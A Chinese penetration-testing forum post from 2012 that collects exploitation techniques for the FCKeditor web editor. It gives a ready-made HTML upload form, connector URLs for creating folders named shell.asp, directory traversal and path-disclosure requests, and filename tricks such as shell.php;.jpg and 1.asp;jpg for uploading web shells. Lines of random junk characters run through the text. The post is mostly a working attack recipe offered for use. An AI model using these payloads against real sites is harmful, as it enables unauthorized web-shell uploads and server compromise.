中国网络渗透测试联盟
标题:
Fckeditor漏洞 (2)
[打印本页]
作者:
admin
时间:
2012-9-13 17:01
标题:
Fckeditor漏洞 (2)
Fckeditor漏洞利用总结
5 i1 B" h( W; ?( C; }+ a* K
查看编辑器版本
' Y+ ?) ~/ Q3 X v; r# d
FCKeditor/_whatsnew.html
& E7 ?3 X5 F2 V" J T5 Z3 ~/ w
—————————————————————————————————————————————————————————————
6 d2 K$ v9 a8 }6 c0 \; ^! x: j
' ?! ?9 ~ T# P( e& R. J( X. P
2. Version 2.2 版本
+ I- n% y. w) I, _' Y3 W
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
, z) J6 L* F1 P) ^' O3 S) [
—————————————————————————————————————————————————————————————
) H# N6 g$ i* t9 a# G# t
( N$ G% D" J3 D1 j
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
5 E U. _1 Q% o: T( j7 w
<form id="frmUpload" enctype="multipart/form-data"
) s+ O d( }! s8 ?, |
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
" P. ?& w& V5 i
<input type="file" name="NewFile" size="50"><br>
, e1 A) T& y1 j
<input id="btnUpload" type="submit" value="Upload">
, p. J( X* a- G2 p) S! g5 {! r# z D
</form>
^! O! K8 L! a! a+ x
—————————————————————————————————————————————————————————————
& @ h2 k+ O* S) C+ r0 v T" ^
- ]: b! f2 j8 S6 o" A5 P; S
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
! P0 O: s0 _$ m& I$ l$ P6 N0 U
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
" ^1 K2 X; G) W
4.1:提交shell.php+空格绕过
1 J& N2 k) d, _" y
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
! h6 S4 M9 M' s7 }+ ?3 s
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。
' N) r' D- P$ H' W% w0 u6 d- O
—————————————————————————————————————————————————————————————
8 e' w! R, x8 O: X# G% G
: W6 t3 F7 P% U$ K" _" f; \
5. 突破建立文件夹
6 S. g. Q' V6 k. ]2 r1 w
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
) f$ y4 X# D: Z& s3 T3 g4 D* ]
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
1 z5 L- M4 {$ B, c# X
—————————————————————————————————————————————————————————————
: r, T1 h2 |# @; H/ Z8 T0 R( v5 P) `
, l9 @9 o2 Y5 X
6. FCKeditor 中test 文件的上传地址
9 [) |0 u7 |2 P, q+ c
FCKeditor/editor/filemanager/browser/default/connectors/test.html
: c1 Q0 W1 }. \) C8 I% e
FCKeditor/editor/filemanager/upload/test.html
2 T7 ]$ c8 w# t0 N- ]4 v# C$ X3 ~6 Q
FCKeditor/editor/filemanager/connectors/test.html
* |( W% ` f1 _' a
FCKeditor/editor/filemanager/connectors/uploadtest.html
. L' z" J' z6 Y* E, I
—————————————————————————————————————————————————————————————
" Z5 K9 Y; L& V
$ F* a* e# z* \" O2 {# s: t; w5 ^
7.常用上传地址
! C- A) F8 B+ ?& j4 \! F
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
# w9 c8 B0 I& R* V8 ~
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
% p1 t2 r; |- R$ @6 K
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
1 N2 \+ L8 A& n
JSP 版:
1 J# }! t; |) b. r
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
. c2 b/ v- i" X
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
; F+ K; j. G% }0 a/ f/ H
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
. R5 n" A$ C q3 Y: E
—————————————————————————————————————————————————————————————
( l) j' D, y8 }8 U: h; z4 m Y9 g
" U1 b- A# \1 \: G+ U& B
8.其他上传地址
2 g* W8 D, U @
FCKeditor/_samples/default.html
$ x) O: K8 W! f0 o4 X
FCKeditor/_samples/asp/sample01.asp
" R# k# P, X: X0 z; i2 t
FCKeditor/_samples/asp/sample02.asp
4 D; l4 V4 U4 z; q
FCKeditor/_samples/asp/sample03.asp
- ^6 r) E% j. A( t5 V$ {
FCKeditor/_samples/asp/sample04.asp
) ~2 s2 j4 m$ Q/ S( r! j
一般很多站点都已删除_samples 目录,可以试试。
& L3 `1 l) G2 N: | z
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
$ b5 B \# K5 i6 B* M
—————————————————————————————————————————————————————————————
/ |. d! A* T" b( H$ o
' Y7 c2 Z9 A# ?( n
9.列目录漏洞也可助找上传地址
" Y5 _3 Z8 ?4 i/ p9 C* U* m6 b
Version 2.4.1 测试通过
8 [& R6 h9 `& d& e- }) t0 }
修改CurrentFolder 参数使用 ../../来进入不同的目录
! `' e4 ^9 x- k: ?9 c
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
0 z1 q/ f" ]( h- W* t, E, I" }
根据返回的XML 信息可以查看网站所有的目录。
! h' _( Y4 @! m- d: @
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
/ ~! U6 t* K2 _
也可以直接浏览盘符:
( w; A' h6 H5 _2 S% K5 ~
JSP 版本:
" a0 e2 \8 w- W2 W9 j5 i1 c& k7 o& ~
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
8 N5 u; f( S j$ C- l
—————————————————————————————————————————————————————————————
+ X# I6 b* N7 f; ^$ m6 L4 V# [# g
. b) j6 \5 `: [" s
10.爆路径漏洞
# k& g) f3 O/ p7 _7 Y/ q
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
! V I1 Y7 L! q# ?
—————————————————————————————————————————————————————————————
! |: Q& {2 p# \1 j
* i+ n( \# }( q2 q: L( o, }8 F
11. FCKeditor 被动限制策略所导致的过滤不严问题
! E$ [8 t# k) ~4 a/ _1 [
影响版本: FCKeditor x.x <= FCKeditor v2.4.3
! d8 L9 k; j1 o( a' y
脆弱描述:
1 O0 b$ Z H$ M$ z
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
' @& M, c# A# A$ R
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
" O% d' R, O, n. I& b
Fckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
$ S$ o9 B4 u8 o3 _5 P
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
: K l) N6 L- U' k u
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
% x) s. D, T3 T3 p
—————————————————————————————————————————————————————————————
9 ?2 ?/ Z6 C& R0 \: ~( g
* r: ~* j+ e; I" o0 x" N) R
12.最古老的漏洞,Type文件没有限制!
: g4 v2 X# g* w1 k& k* R
我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
0 x4 S/ l1 n' H& @3 U; D; D
—————————————————————————————————————————————————————————————
( L! G8 }# t/ j4 z, y5 D1 C
) t. R+ S$ B6 C. k
===============================================================================================================================================
3 o9 H. ~6 |: `
# `. Q" M$ @; ^: H* j4 Q4 ^% l
FCK编辑器jsp版本漏洞:
{$ c% p. c: B( V/ Q
$ L# F( G$ _. g" a7 R- J
5 i/ S# y' X; J' y7 c* }) V
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
. h3 v0 g3 j, M1 L; s% c) j( M
5 h; M7 {- i+ [3 F
上传马所在目录
) q5 Y) N1 z. A8 _' @- \3 v
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- n' s, Y% E1 K2 S+ l: T
上传shell的地址:
/ o4 B% o, t6 b* q8 Z3 Y# K Q% d8 k
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
) L, M( v7 N7 n% }* j: c" |0 R* `
跟版本有关系.并不是百分百成功. 测试成功几个站.
) w6 p1 U- l+ y3 a; V5 E* x# x' S
不能通杀.很遗憾.
- Y, o3 e% G) w* D' ~
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
5 b! p9 Y* L% k) ^& ?
如果以上地址不行可以试试
0 _# _* r# c6 ]2 `5 H
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
0 [* d% g. W" ~0 {+ e1 Y. C1 r
FCKeditor/_samples/
7 y* P( ?% x* m. t. u8 c8 w
FCKeditor/_samples/default.html
$ E' W3 [. A7 V4 E9 {
FCKeditor/editor/fckeditor.htm
# W3 i# d( R: W8 Y
FCKeditor/editor/fckdialog.html
+ d$ Z7 b: K0 [* d
, G4 i* V a2 E' X, f/ h
' f6 z P1 Q! n# \" p
& m3 d9 k' b$ x4 g+ @
解析漏洞+未重命名文件时上传漏洞 1.asp;jpg
3 y# F. `6 O& O* X: s2 O- i' k
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2